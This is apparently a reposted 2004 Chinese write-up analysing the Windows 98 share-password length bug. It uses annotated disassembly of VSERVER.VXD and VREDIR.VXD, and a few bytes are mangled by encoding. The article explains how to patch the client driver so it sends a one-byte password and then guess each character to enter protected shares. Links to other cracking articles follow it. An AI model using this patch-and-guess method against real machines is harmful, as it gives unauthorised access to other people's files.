您的位置:首页精文荟萃破解文章 → WINDOWS98共享目录密码校验BUG的分析

WINDOWS98共享目录密码校验BUG的分析

时间:2004/10/15 0:49:00来源:本站整理作者:蓝点我要评论(0)

 
WINDOWS98的共享目录密码校验有BUG。下面是文件VSERVER。VXD中密码校验过程调用的有BUG的一段程序。
    3647是判断客户端密码是不是输入没密码,这时密码项内容是0X20,空格。不是就转  LOC-0444。365A判断客户端通过网络通信发过来的加密后密码长度是0X18吗,一般都是。这转LOC-0447去把共享目录密码加密同网络通信过来的密码比较,通过TEST EAX,EAX设置ZF标记判断密码对不对。如果密码长度不是0X18,可能是别的什么方式的密码比较,这儿密码是明码没加密。再判断密码长度大于9不,共享密码长度是1-8个字母数字等。下面就是比较密码,后面的循环是以ECX密码长度和ZF标记为结束条件。显然这儿应该有BUG,这密码长度ECX应该是本声密码的长度,而这儿密码长度是网络通信发过来的数据。所以我发过来的数据是1就只比较了一个密码的最前面字节。如果这一字节对就ZF=0因ECX=0退出结果是校验密码成功。

03647    loc_0442: ;  xref 03635
03647  66| 83 3A 20  cmp word ptr [edx],20h ;THE SHARE PASSWORD
0364B  75 0D        jne short loc_0444 ; Jump if not equal
0364D  B8 08460002 mov eax,8460002h
03652  F9 stc ; Set carry flag
03653  C9            leave ; Procedure exit
03654  C3 retn
03655 loc_0443: ;  xref 03640, 3645
03655  80 3F 00 cmp byte ptr [edi],0
03658  74 26 je short loc_0446; Jump if equal
0365A loc_0444: ;  xref 0364B
0365A  83 F9 18 cmp ecx,18h ; THIS HAS BUG FOUND BY YRG  1999.1.15
0365D  74 24      je short loc_0447 ; Jump if equal
0365F  83 F9 09  cmp ecx,9
03662  77 1C  ja short loc_0446 ; Jump if above
03664  F5  cmc ; Complement carry
03665  83 D9 00  sbb ecx,0
03668  51  push ecx
03669  53  push ebx
0366A  8B 1D 000137F4 mov ebx,dword ptr data_0461 ; (137F4=137FCh)
03670  8B F2 mov esi,edx
03672  2B C0 sub eax,eax
03674  4F dec edi

03675 locloop_0445: ;  xref 0367C
03675  47 inc edi
03676  AC lodsb ; String [si] to al
03677  8A 04 18 mov al,[eax][ebx]
0367A  3A 07  cmp al,[edi] ;BUG !!! I CAN SET ECX=1
0367C  E1 F7        loopdz locloop_0445  ; Loop if zf=1, ecx>0

0367E  5B          pop ebx
0367F  59  pop ecx
03680  loc_0446: ;  xref 03658, 3662, 36A1
03680 鶩8  clc ; Clear carry flag
03681  C9  leave ; Procedure exit
03682  C3  retn
03683  loc_0447: ;  xref 0365D
03683  81 EC 000000E4 sub esp,0E4h
03689  8B C4 mov eax,esp
0368B  60 pushad ; Save all regs
0368C ?2 push edx ; PARAMETER_4
0368D  50 push eax ; PARAMETER_3
0368E  8B 45 08 mov eax,dword ptr [ebp+PARAMETER_1]
03691  8B 40 24 mov eax,dword ptr [eax+24h]
03694  50 push eax ; PARAMETER_2
03695  57 push edi ; PARAMETER_1
03696  E8 000036A1 call sub_0054 ; (06D3C)
0369B  83 C4 10 add esp,10h
0369E  85 C0 test eax,eax
036A0  61 popad ; Restore all regs
036A1  EB DD jmp short loc_0446


好了,那就找客户端发密码的代码。下面是VREDIR。VXD的这段相关代码。
15FCE的18H就是前面的那比较18H的。这儿改成可以1。CALL SUB-0067是加密输入的密码的过程调用。15FEA 的
EDX是指向输入的密码的指针。所以15FE9可以改成MOV AL,[EDX],
MOV [ECX],AL
JMP 15FF4

就可以。这样进入有密码的共享目录就可以用字母A-Z,数字0-9等试会很快的进入目录的。当然最好那儿自动
这么变化那AL,免得每次还要输入可以加快速度。

15FC8  8B 4D EC mov ecx,dword ptr [ebp-14h]
15FCB  8B 55 F4    mov edx,dword ptr [ebp-0Ch]
15FCE  66| C7 41 07 0018 mov word ptr [ecx+7],18h; PASSWORD LONG
15FD4  83 C1 07 add ecx,7
15FD7  83 C2 35 add edx,35h
15FDA  8B 45 F8 mov eax,dword ptr [ebp-8]
15FDD  83 C0 6C add eax,6Ch
15FE0  89 4D F0 mov dword ptr [ebp-10h],ecx
15FE3  8B 4D EC mov ecx,dword ptr [ebp-14h]
15FE6  83 C1 0B add ecx,0Bh
15FE9  51 push ecx ;LOCKED  PASSWORD SET HERE 
15FEA  52 push edx ;PASSWORD POINTER
15FEB  50 push eax
15FEC  E8 FFFF0EC5 call sub_0067 ; LOCK THE PASSWORD ; (06EB6)
15FF1  83 C4 0C add esp,0Ch
15FF4  EB 71 jmp short loc_1765

    
    
     
    
    
     

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 去除winrar注册框方法

最新文章 比特币病毒怎么破解 比去除winrar注册框方法 华为无线路由器HG522-C破解教程(附超级密码JEB格式文件京东电子书下载和阅读限制破解教UltraISO注册码全集(最新)通过Access破解MSSQL获得数据

人气排行 华为无线路由器HG522-C破解教程(附超级密码JEB格式文件京东电子书下载和阅读限制破解教UltraISO注册码全集(最新)qq相册密码破解方法去除winrar注册框方法(适应任何版本)怎么用手机破解收费游戏华为无线猫HG522破解如何给软件脱壳基础教程